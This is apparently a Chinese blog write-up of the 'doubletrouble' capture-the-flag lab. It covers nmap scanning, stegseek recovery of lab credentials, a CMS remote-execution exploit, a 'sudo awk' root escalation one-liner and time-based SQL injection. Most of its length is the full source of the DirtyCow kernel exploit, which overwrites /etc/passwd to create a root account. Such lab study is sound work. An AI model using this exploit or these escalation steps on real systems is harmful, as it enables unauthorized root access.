doubletrouble

前置

本次靶场遇到诸多意外,在这里先把列出解决办法的传送门

IP无法扫描到解决办法
主机访问VM主机解决办法
python 运行不过去SyntaxError: Non-ASCII character ‘\xc2’ in file
Stegseek下载安装

信息收集

1、最开始肯定是使用nmap对局域网扫描找到靶机IP
执行命令:nmap 192.168.214.1/21
2、找到靶机IP为192.168.214.152,进行全面扫描(这里的8000端口是我后面开的)
IP
3、访问80端口,并且对80端口进行目录扫描

1
这里有几个有用的点
1、登录框,考虑爆破和sql注入
2、登录框下面的小字,虽然很陌生,但是可以猜出那就是CMS的编号
3、目录中有一个奇怪的secret的文件夹
尝试后发现爆破和sql注入失败,之后使用searchsploit查找CMS的名字和版本号,看是否有漏洞,可以发现有一个远程执行漏洞
2

渗透提权

使用后才发现这个远程执行需要邮箱和密码登录,我们没有
查看secret文件夹,发现只有一给图片,图片能有扫描呢?那就是这个图片有隐写信息,使用stegseek来爆破,得到账号密码
3
得到账号密码

otisrush@localhost.com
otis666

之后使用找到的CMS远程执行漏洞利用文件进行执行获得后门
4
这样直接进行反弹shell,进去之后直接查看系统版本和su权限列表发现awk可以无密码执行,上网一查awk,就可以找到提权方式

sudo awk 'BEGIN {system("/bin/sh")}'

到root目录下并没有看到flag,只看到了一个ova镜像文件,由于我从kali里烤出这个ova文件,在主机里并没有办法在VM上导入,所以直接使用主机访问虚拟机下载,之后导入这个新的靶机

新靶机收集信息

1、同样的nmap扫描IP、端口
2、发现22、80端口,访问80端口、目录扫描80端口
5
一样考虑爆破和sql注入,目录没有得到有价值的东西
3、sql注入取得成效
6
存在时间盲注,于是将数据包的数据跑出来,发现是两个账号密码
7

4、登录
拿着者两个账号密码在网站进行登录,发现没有反应。
于是反应过来有22端口,于是尝试ssh登录,成功发现capton这个账号可以进去

5、提权
常规提权,没发现有类似靶机1里的su权限列表中存在无需密码执行的东西
那么查看Linux内核版本,发现是3.2那么使用searchsploit进行查找,发现提权漏洞很多,但是我一个个试过去,发现要么是不能跑,要么是提权失败
7
于是网上找找看咯
权限提升连接
之后将文件传入靶机2中,编译执行
脏牛代码

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-passw"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new mima: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new mima: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the yonghuming '%s' and the mima '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

之后执行编译出来的文件以后发现并没有啥反应,但是看了一下代码开头就知道了,需要更改用户,而用户名在代码中有,大家可以在代码开头找。
整个渗透过程就这样结束了

小结

这次遇到的小意外挺多,也算是丰富了自己奇奇怪怪的见识
整个的渗透过程其实不难,第一个难点就说发现那个照片有问题,如何进行隐写爆破
第二个难点难在提权,第一个靶机的提权如果没有注意到权限执行列表,可能走一个比较大的弯路。第二个靶机的提权,实在是没想到searchsploit里找到的都是不行的(最起码我试过了,没成功,可能是我不会用?)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值